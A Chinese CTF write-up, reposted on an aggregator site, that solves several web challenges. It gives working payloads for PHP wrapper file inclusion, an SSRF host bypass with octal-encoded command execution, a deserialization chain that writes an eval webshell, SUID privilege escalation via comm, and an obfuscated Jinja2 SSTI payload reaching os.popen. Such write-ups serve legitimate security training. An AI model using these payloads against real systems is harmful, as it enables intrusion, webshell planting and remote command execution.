某考核wp

news/2025/3/10 20:15:41/文章来源:https://www.cnblogs.com/AyachiNeinei/p/18759606

My Blog

robots.txt进level1.php

<?php  
error_reporting(0);
highlight_file(__FILE__);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(!preg_match("/php/",$text))&&(file_get_contents($text,'r')==="welcome to nssctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "不可以捏";exit(); }else{include($file);  //level2.php}
}
else{echo "这就不会了?'";
}
?>

感觉跟有道题长的一样呢,两个伪协议就行
text=data://text/plain,welcome to nssctf&file=php://filter/read=convert.base64-encode/resource=level2.php
拿到第二步的源码

<?phperror_reporting(0);$url = $_GET['url'];$cmd = $_GET['cmd'];echo "121.91.174.161:2368地址是你刘队博客,一定有网站有他的博客地址吧<br>";if (isset($_GET['url']) && preg_match('/^http:\/\/www.baidu.com/', $_GET['url'])) {$content = @file_get_contents($url);if ($content !== false && strpos($content, '121.91.174.161:2368') !== false) {if (isset($_GET['cmd'])&&(!preg_match('/[a-zA-Z;&|`]/', $cmd))) {system($cmd);} else {die("最后的绕过了");}} else {die("什么网站里会有刘队博客地址呢");}} else {die("不是一个正确的url");}

第二步要求前面是http://www.baidu.com的同时要包含对应网址,直接拼进去是不行的,用@进行ssrf绕过
然后是一个无字母命令执行,异或取反用不了,找了个叫bashfuck的工具,里面可以自动转换为八进制以及其他奇奇怪怪符号的替换方式
应该可以手搓八进制,不过中间空格多一个间隔之类的格式问题有点烦
payload:
url=http://www.baidu.com@121.91.174.161:2368&cmd=$'\143\141\164' $'\57\146\154\141\147'

苏 ID

找到一段base64,得到源码

<?php
class Test {public $name = 'test';public $age = 18;public function __destruct() {echo 'name: ' . $this->name . PHP_EOL . 'age: ' . $this->age . PHP_EOL;//起点1}
}class Test2 {public $info = 'test2';public $identity = 20;public function __construct() {$this->identity = 'people';}public function __toString() {if ($this->identity === 'admin') {return ($this->function)();//2,启用invoke}return '简介:' . $this->info . '身份是:' . $this->identity;}
}class func {public function __invoke() {return file_put_contents($this->file, $this->data);//终点3}
}if (isset($_GET['ser'])) {$ser = $_GET['ser'];$ser = unserialize($ser);
}

简单的反序列化和file_put_contents()写文件
链子如下

<?php
class Test {public $name = 'test';public $age = '18';
}class Test2 {public $info = 'test2';public $identity = 'admin';public $function;
}
class func {public $file;public $data;
}
$a=new Test();
$b=new Test2();
$c=new func();
$c->file='1.php';
$c->data='<?php @eval($_POST["shell"]);?>';
$b->function=$c;
$a->name=$b;
echo urlencode(serialize($a));

成功写马,蚁剑连接
找到flag,但是读不了,应该是没权限
先看哪些有suid权限
image
提权虽然做的不多,但是那几个老熟人就不用看了
并没有find之类的,有个comm,在网上找了下,这是一个用来排列文件差异,然后回显的指令
image
还真能这么做,666

Music Loving

做这个题的时候看着有过滤,一直嗯打都没反应,结果ssti在别的路由
image
宁宁,你在哪,,,

post传入mod=appbak,得到源码,不过过滤需要自己fuzz

from flask import Flask, request, render_template,render_template_string, redirect, url_for, session
import time
import osapp = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['.','/','Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):for keyword in FILTER_KEYWORDS:if keyword.lower() in complaint:return Truereturn False@app.route('/', methods=['GET'])
def index():session['user'] = 'test'return render_template('index.html')@app.route('/mod', methods=['GET', 'POST'])
def complaint_form():if request.method == 'POST':current_dir = os.path.dirname(os.path.abspath(__file__))con = request.form.get('mod')if contains_forbidden_keywords(con):return render_template('forbidden.html')conn = os.path.join(current_dir, con)if not os.path.exists(conn):return render_template('None.html')   with open(conn, 'r', encoding='utf-8') as file:content = file.read()return render_template('contents.html', content=content)return render_template('submit.html')@app.route('/test', methods=['GET', 'POST'])
def shell():if session.get('user') != 'test':return render_template('Auth.html')cmd = request.args.get('cmd', '试一试')if request.method == 'POST':css_url = url_for('static', filename='style.css')command = request.form.get('cmd')if contains_forbidden_keywords(command):return render_template('forbidden.html')return render_template_string(f'''<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Loving Music</title><link rel="stylesheet" href="{css_url}"><link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet"></head><body><div class="container"><h1>Loving Music</h1><p class="emoji">🎵</p><p>{command}</p><a href="#" class="button">点击我</a></div></body></html>''', command=command,css_url=css_url)return render_template('shell.html', command=cmd)
@app.route('/robots.txt', methods=['GET', 'POST'])
def robots():return render_template('robots.txt')if __name__ == '__main__':app.run(host="0.0.0.0", port=8449, debug=True)

进入/test路由
过滤包括
'__','1','2','3','4','5','6','7','8','9','0',' ','.',' ','globals','read','%'
payload
{{g['pop']['_'+'_'+'g''lobals'+'_'+'_']['_''_builtins_''_']['_''_import_''_']('os')['popen'](((lipsum()|urlencode|first+'c')*dict(xxxxxxxxx=x)|join|length)|format(((x,)|count~(x,)|count)|int*dict(xxxxxxxxx=x)|join|length,(((x,)|count~{}|int)|int*dict(xxxxxxxxx=x)|join|length+dict(xxxxxxx=x)|join|length),(((x,x,x)|count*dict(xxxxxxxxx=x)|join|length+(x,x)|count))*dict(xxxx=x)|join|length,dict(xxxxxxxx=x)|join|length*dict(xxxx=x)|join|length,(dict(xxxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length+(x,x)|count),((x,)|count~dict(xxxxxxx=x)|join|length)|int*dict(xxxxxx=x)|join|length,((x,)|count~(x,x)|count)|int*dict(xxxxxxxxx=x)|join|length,(((x,)|count~{}|int)|int*dict(xxxxxxxxx=x)|join|length+dict(xxxxxxx=x)|join|length),(((x,)|count~(x,)|count)|int*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length)))['r''ead']()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/895575.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

L1G3-浦语提示词工程实践

L1G3-浦语提示词工程实践 1. 提示工程 1.1 什么是提示词 根据大模型的应用领域,可以把提示词分为五类。其中,“文本生成”提示词是最基础最重要的。 提示词是调用生成式AI能力的基础接口。提示词调用生成式AI能力的两个阶段如下:大模型词元预测的原理:获取输入文本,模型处…

【Azure Storage Account】利用App Service作为反向代理后续 ---- 隐藏 SAS Token

问题描述前文提要:【Azure Storage Account】利用App Service作为反向代理, 并使用.NET Storage Account SDK实现上传/下载操作在前几天的实验中,使用了App Service作为反向代理,把默认的存储账号的域名修改为自定义的域名后,在 .NET Storage Account SDK中实现常规的上传/…

opera打不开任何网页

正文 opera的外观非常惊艳,给我一种新颖的感觉,直到我发现任何网页都打不开。 找到下面这个文件 C:\Users\acer\AppData\Roaming\Opera Software\Opera Stable\Local State使用你喜欢的任何编辑器打开,比如vscode。 搜索country修改如下字段 {"country":"US&…

Easyexcel(6-单元格合并)

EasyExcel在数据导出时,自定义单元格合并功能极大地增强了数据的可读性和组织性。通过 WriteSheet 对象,用户可以轻松实现单元格合并,指定合并区域的起始和结束行列,从而将相关信息整合在一起。注解 @ContentLoopMerge 用于设置合并单元格的注解,作用于字段上eachRow:每隔…

7-8-10阅读 91-129

7 - P91 けさ図書館へ行きました。図書館で太郎ちゃんに会いました。太郎ちゃんといっしょにビデオを見ました。わたしは旅行の本を借りました。あしたは日曜日です。あさ旅行の本を読みます。ごごデパートへ行きます。はなを買います。ははの誕生日のプレゼントです。 中文翻…

力扣第118题-杨辉三角

题目描述 给定一个非负整数 numRows,生成「杨辉三角」的前 numRows 行。在「杨辉三角」中,每个数是它左上方和右上方的数的和。示例 1:输入: numRows = 5 输出: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]] 示例 2:输入: numRows = 1 输出: [[1]]提示: 1 <= numRows <=…

CMOS版图学习笔记(1)

img { max-width: 60% } CMOS 版图知识预备 1. 版图效应 CMOS 版图设计前,需要了解一下版图设计中的影响效应。 版图效应的四大主要来源分别是:阱邻近效应(Well Proximity Effect, WPE)、浅槽隔离应力效应(Shallow Trench Isolation, STI)、氧化层长度扩散效应(Length of Oxi…

SSH远程登录

1.用途 利用SSH安全协议进行会话登录 攻防中登录本队靶机进行服务维护、源码修复、漏洞修补,AWD平台通过SSH端口提供源码下载和防御部署功能 也可利用其他队伍靶机的SSH漏洞(如弱密码、私钥泄露、协议缺陷)获取初始权限 2.安装 SSH分为客户端 openssh-client 和服务器 opens…

go学习笔记——gin限流

如果想在Gin Web服务中实现限流功能,可以使用ulule/limiter,uber-go/ratelimit 1.ulule/limiter ulule/limiter是一款支持分布式限流的框架,其可以在Redis中存储和共享限流状态,从而在分布式环境中实现一致的限流逻辑。 ulule/limiter基于令牌桶(Token Bucket)算法,因为…

xor WriteUp(动态分析)

WriteUp 题目信息 名称:xor.exe 分类:Reverse 描述:使用动态分析,找到程序的flag题目链接: https://pan.baidu.com/s/1u8bGbKcUF6_gLaw63L3jyA?pwd=h8r5 提取码: h8r5解题思路 首先使用DIE对文件查壳,发现这是一个无壳的32位程序。于是用32位IDA打开该文件进行反汇编,并…

【Windows持久化后门】 Visual Studio Code Extensions

一、VS Code介绍 Visual Studio Code(简称 VS Code)是一个由微软开发的免费、开源的代码编辑器。它支持多种编程语言,具有代码高亮、智能代码补全、代码重构、调试功能以及 Git 集成等特性。VS Code 非常受欢迎,因为它轻量级、响应速度快,并且拥有丰富的扩展生态系统。 以…